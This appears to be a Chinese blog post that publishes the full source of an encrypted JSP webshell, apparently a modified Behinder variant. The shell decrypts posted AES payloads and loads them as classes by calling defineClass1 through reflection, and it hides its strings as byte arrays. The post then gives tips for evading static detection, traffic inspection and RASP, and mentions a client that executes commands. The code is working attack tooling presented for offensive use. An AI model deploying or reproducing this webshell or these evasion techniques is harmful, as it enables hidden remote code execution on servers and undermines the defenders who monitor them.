su18.jsp
太久没有写文章了,觉得有必要水一篇。
最近一直在忙着开发公司项目,对于最新的安全漏洞以及RASP技术的研究暂时没有跟的特别紧,所以也就没什么好分享的,不过也在抽空修修改改的写点小东西,先发一个webshell。
一、代码
su18.jsp
<%
final String s = request.getQueryString();
final String e = new String(new byte[]{115, 101, 97, 114, 99, 104, 61, 116, 101, 120, 116});
final String k = new String(new byte[]{65, 69, 83});
final String t = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114});
final String p = new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 49});
if (s != null && s.contains(e)) {
Thread d = new Thread(new Runnable() {
public void run() {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(k);
c.init(2, new javax.crypto.spec.SecretKeySpec(s.replaceAll("[=|&\\d]", "").substring(0, 16).getBytes(), k));
byte[] b = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
java.lang.reflect.Method m = Class.forName(t).getDeclaredMethod(p, String.class, byte[].class,
int.class, int.class, java.security.ProtectionDomain.class, String.class);
m.setAccessible(true);
((Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), null, b, 0, b.length, null, null))
.newInstance().equals(pageContext);
} catch (Exception ignored) {
}
}
});
d.start();
d.join(1000 * 5);
}
response.sendError(404);
%>
二、逻辑
逻辑是比较好看懂的,如果你看不明白我要干嘛,那你就可以理解为是冰蝎马的魔改版,不过这里我关注的有几个点简单说一下。
第一:本质上是一个 ClassLoader 的马,不过是反射调用了 ClassLoader
的 defineClass1
方法,使用了 Thread.currentThread().getContextClassLoader()
作为实例传入,这样不用自定义类加载器,也能绕过一些对于 loadClass
等常用方法的拦截。
第二:可以看到全部的字符串采用了new String(new byte[]{115, 101,.., 116});
的写法,虽然没什么卵用,但还是能过一些静态检测的逻辑或正则。
第三:这边获取参数使用了 request.getQueryString()
,进行处理后取了前16位作为AES的密钥,因此这需要请求端做同样的事。
第四:反射调用 define1
方法,需要 setAccessible(true)
。
第五:创建实例、写入回显的部分与冰蝎一致,因为冰蝎重写 equals
的方法确实写起来比较短,所以就拿过来用了。
第六:在JSP中新起线程执行我们的动作,别忘了join
一下等回显写入response
中,我这里给了5秒的超时时间。当然了,这是基操勿六。
第七:最后一行写个response.sendError(404);
逗一逗整天怼着安全设备看的工程师。
三、思路
思路大致介绍完了,再说一下为啥要这么干。
1. 执行方式
下面这个项目里有一些不同类型的JSP Webshells,虽然我对这个大佬的分类方式有异议,不过不重要
https://github.com/threedr3am/JSP-Webshells
我们想要一个功能全的webshell,首先需要的就是将字符串变为代码的能力,在其他语言中均有 eval()
或类似的函数来实现这个功能,虽然Java版本高了之后也有,但是考虑到目标服务器的JDK版本通常不会太高,所以还是不能使用。
而 Java 中有此能力的机制也并不多。在进行了考虑和对比之后,我这里采用的是 ClassLoader 的方式。
2. 绕过检测
首先我们写了一个webshell,webshell得放在服务器上才能起作用,否则就是一串很长的字符串保存在一个文件里。因此我们的大前提就是有办法把这个文件放上去。在有这个前提的情况下,我们所需要面对的检测手段就是静态检测、流量特征检测、代码层面的动态拦截(RASP或其他手段等)。
静态检测就不说了,变变形,编编码什么的,流量特征检测也不说了,流量层面的东西很好改,换个编码加密替换个字符啥的,这两点的主动权其实一直都在攻击方这里的。
唯独是RASP这种的主动权在防守方,攻击方只能去找一些绕过防御的办法,我这里随便写一些思路。
- 翻遍 api,找一些Java自带的或常用的一些没人用的方法,绕过几率大一点。
- 调用就调底层方法,不调表面API。
- 不要直接调,反射去某些类里取对象,改值,使你的调用链变幻莫测。
- 新起线程进行操作。
- 自己实现JNI上传执行永远是绕过防护的终极手段,参照 PHP 中的 LD_PRELOAD。
- 等等。
3. 持久化
我不知道我不会我没干过我是网络工程师
四、客户端实现
写个这么复杂的 webshell 肯定要写个客户端去连啊,不然怎么用啊
目前实现的功能并不多,样式的也没调,就以命令执行为例做个简单演示吧。
执行命令成功
实现了可以选择使用不同函数执行功能
切换底层调用或不常用API后执行依旧正常,绕各种防御轻轻松松
五、后续
注册成 Filter/Servlet 搞内存马?读取JVM中的敏感信息?功能很好写,主要看你思路。网上不少后续的骚操作,可以参考一下,不是这篇文章的重点,略。